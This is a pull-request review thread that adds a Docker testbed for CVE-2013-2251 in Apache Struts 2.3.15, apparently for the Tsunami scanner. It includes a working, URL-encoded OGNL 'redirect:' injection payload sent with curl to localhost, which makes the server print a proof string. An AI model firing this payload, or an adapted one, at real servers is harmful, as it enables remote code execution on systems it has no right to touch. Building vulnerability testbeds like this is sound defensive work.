Testbeds/CVE-2013-2251

[sanjaymahajan14]

Added testbed for CVE-2013-2251. Please review.

[robert-doyensec]

Changes to make the containers more consistent with each other and add curl commands to test the vulnerability

[robert-doyensec]

Suggested change

	# Uses the VulApps image vulnerable to CVE-2013-2251
	# Downloads the official Struts 2.3.15 vulnerable release on boot

[robert-doyensec]

Suggested change

	image: docker.io/medicean/vulapps:s_struts2_s2-016
	image: tomcat:8.5-jre8

[robert-doyensec]

Suggested change

	restart: always
	command: >
	bash -c "
	curl -fsSL https://repo1.maven.org/maven2/org/apache/struts/struts2-showcase/2.3.15/struts2-showcase-2.3.15.war -o /usr/local/tomcat/webapps/ROOT.war &&
	catalina.sh run
	"
	restart: always

[robert-doyensec]

Suggested change

	### Testing the vulnerability
	```
	curl -X POST 'localhost:8080/default.action' -d "redirect:%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23resp%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23resp.setCharacterEncoding%28%27UTF-8%27%29%2C%23ot%3D%23resp.getWriter%28%29%2C%23ot.print%28%27tsunami%27%2b%281337*1337%29%29%2C%23ot.flush%28%29%2C%23ot.close%28%29%7D=1"
	```
	Response:
	```
	tsunami1787569
	```

[robert-doyensec]

Suggested change

	```
	```
	### Testing the vulnerability
	```
	curl -X POST 'localhost:8081/default.action' -d "redirect:%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23resp%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23resp.setCharacterEncoding%28%27UTF-8%27%29%2C%23ot%3D%23resp.getWriter%28%29%2C%23ot.print%28%27tsunami%27%2b%281337*1337%29%29%2C%23ot.flush%28%29%2C%23ot.close%28%29%7D=1"
	```
	Response:
	```
	...
	<title>Struts2 Showcase</title>
	...
	```